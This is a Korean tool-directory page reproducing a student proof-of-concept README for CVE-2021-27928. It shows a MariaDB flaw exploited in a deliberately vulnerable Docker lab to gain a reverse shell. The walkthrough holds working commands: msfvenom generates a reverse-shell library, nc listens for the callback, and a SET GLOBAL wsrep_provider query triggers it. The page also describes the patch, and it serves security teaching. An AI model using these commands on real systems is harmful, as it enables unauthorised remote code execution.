Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-27928 — CVE-2021-27928 취약점 악용을 위한 개념 증명(PoC) | Kitploit
도구/GitHubGitHub/laliea/cve-2021-27928
Payload GenerationVulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationArchived
GitHublaliea/cve-2021-27928

CVE-2021-27928

CVE-2021-27928 취약점 악용을 위한 개념 증명(PoC)

저장소 보기
43년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-27928

이 저장소에서는 docker 컨테이너를 통한 CVE-2021-27928 취약점 악용에 대한 개념 증명(PoC)을 찾을 수 있습니다.

# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
    MariaDB 10.2 before 10.2.37,
            10.3 before 10.3.28,
            10.4 before 10.4.18,
            10.5 before 10.5.9;
    Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928

취약점 설명

시스템 변수 wsrep_provider와 wsrep_notify_cmd system은 super 권한을 가진 데이터베이스 사용자가 런타임 중에 수정할 수 있으며, 이로 인해 해당 권한으로 실행될 원격 코드의 eval이 발생할 수 있습니다.

첫 번째 변수는 서버가 dlopen()을 시도할 .so 라이브러리의 경로를 받고, 두 번째 변수는 서버가 실행할 셸 스크립트의 경로를 받습니다. 이 변수들을 쓸 수 있게 되면 super 권한을 가진 데이터베이스 사용자가 시스템 mysql 사용자로 임의 코드를 실행할 수 있습니다.

이 개념 증명에서는 msfvenom을 사용하여 페이로드(이 경우 리버스 셸)를 포함할 .so 라이브러리를 생성합니다. 그런 다음 이 파일을 취약한 머신에 복사하고 wsrep_provider 변수에 이 경로를 지정하면 페이로드가 실행되어 리버스 셸을 통해 super 권한을 가진 사용자(여기서는 mysql 사용자)로 대상 머신에 접근할 수 있게 됩니다.

취약한 머신 이미지 빌드 및 실행

이 실험을 위해 시스템에 docker, msfvenom, openssh-client, mariadb 패키지가 설치되어 있어야 합니다.

이 구성에서 대상 머신은 MariaDB 10.4.12 이미지(이 취약점에 영향을 받는 버전)를 기반으로 하며, root 로그인이 허용되지 않는 openssh 서버가 실행되고 있습니다. 따라서 비-root 사용자인 myuser를 생성했으며, 비밀번호는 mypassword입니다.

취약한 이미지 빌드:

docker build --rm=true -t mariadb-cve-2021-27928 .

대상 머신 실행:

docker compose up

악용

페이로드 생성: 리버스 셸

페이로드는 악용이 완료된 후 대상 머신이 실행하기를 원하는 바이너리입니다. 여기서는 msfvenom을 사용하여 우리의 IP 주소(LHOST)와 포트(LPORT)를 매개변수로 하여 .so 라이브러리 형태의 리버스 셸 페이로드를 생성합니다. 다른 셸에서 다음을 실행합니다:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so

LHOST IP 주소는 docker-compose.yaml에 네트워크 게이트웨이로 정의된 주소입니다. 이 경우 공격자인 사용자, 즉 여러분입니다.

리버스 셸 대기

백그라운드에서, 세 번째 터미널에서 대상 머신이 연결해야 하는 포트로 들어오는 연결을 수신합니다.

nc -lnvp 4444

우리가 수신 대기 중인 포트 4444는 페이로드 생성 시 LPORT로 설정한 포트입니다.

취약한 머신으로 페이로드 전송

이제 앞서 생성한 페이로드(payload-CVE-2021-27928.so)를 비-root 시스템 사용자 myuser로 scp 명령을 사용하여 ssh를 통해 대상 머신으로 복사해야 합니다. myuser의 비밀번호는 mypassword입니다:

scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so

ssh를 통해 /usr/lib로 파일을 직접 복사할 수 없으므로 머신에 연결하여 수동으로 올바른 위치로 이동해야 합니다(myuser의 비밀번호가 mypassword임을 기억하세요):

ssh [email protected]
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit

페이로드를 /tmp/exploit.so와 같은 다른 이름의 다른 디렉터리에 업로드하고 그 경로를 페이로드 경로로 전달할 수도 있었습니다. 그러나 이 취약점은 이후 모든 mariadb 패키지에서 수정되었기 때문에, 이 데모의 마지막 부분에서 볼 수 있듯이 악용에는 몇 가지 조정이 필요했습니다.

취약점을 악용하여 대상 머신에서 페이로드 실행

마지막 단계는 우리처럼 유능한 데이터베이스 관리자이자 친근한 비-root 시스템 사용자로 요청을 보내 전역 변수 wsrep_provider에 우리 페이로드의 경로를 설정하여 MariaDB 취약점을 악용하는 것입니다.

mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"

여기서 root는 데이터베이스 수준의 "관리자"를 의미하며, "시스템 root" 사용자가 아닙니다. 따라서 비밀번호는 docker-compose.yaml 파일에 있는 MYSQL_ROOT_PASSWORD: myrootpwd입니다.

마지막으로, 모든 것이 예상대로 작동했다면, 들어오는 연결을 수신 대기 중이던 터미널에서 대상 머신이 성공적으로 우리에게 다시 연결되었고 셸 명령을 실행할 수 있음을 확인할 수 있습니다. 즐기세요 :)

리버스 셸은 "클래식" 셸만큼 화려하지 않습니다. 자동 완성, 셸 프롬프트, 히스토리가 없으므로 명령이 제대로 실행되는지 직접 확인해야 합니다. 예를 들어 ls -la를 사용하는 것을 주저하지 마세요.

netcat의 셸에서 whoami를 실행하여 시스템 사용자 mysql인지 확인할 수 있습니다!

수정

MariaDB의 Jira에 따르면, 이러한 변수를 런타임 중에 수정해야 할 실질적인 사용 사례는 거의(또는 전혀) 없는 것으로 보이며, 테스트에서만 사용됩니다. 이 취약점이 발견된 후, 수정은 변수를 읽기 전용으로 만드는 것이었습니다. 이는 간단하고 안전한 수정이었지만, 테스트 스크립트가 약간 더 복잡해지는 대가가 있었습니다.

이전에는 그렇지 않았지만, 이제 wsrep_provider가 가질 수 있는 유일한 경로 값은 /usr/lib/galera/libgalera_smm.so입니다. 그래서 이 개념 증명은 페이로드를 업로드할 수 있도록 /usr/lib/galera 폴더에 쓰기 권한을 부여하는 등의 조정이 필요했습니다. 따라서 이 구성은 이 데모의 맥락에서 의도적으로 취약하게 만들어졌지만, 대부분의 현재 시스템에서는 더 이상 이런 방식으로 사용할 수 없습니다.

참고 자료

  • CVE
  • MariaDB Server issue on Jira
  • Exploit example

이 작업은 Grenoble INP - Ensimag, UGA의 정보 시스템 공학 전공 마지막 학년에 제공되는 정보 시스템 보안 과정의 일부로 수행되었습니다.

도구 다운로드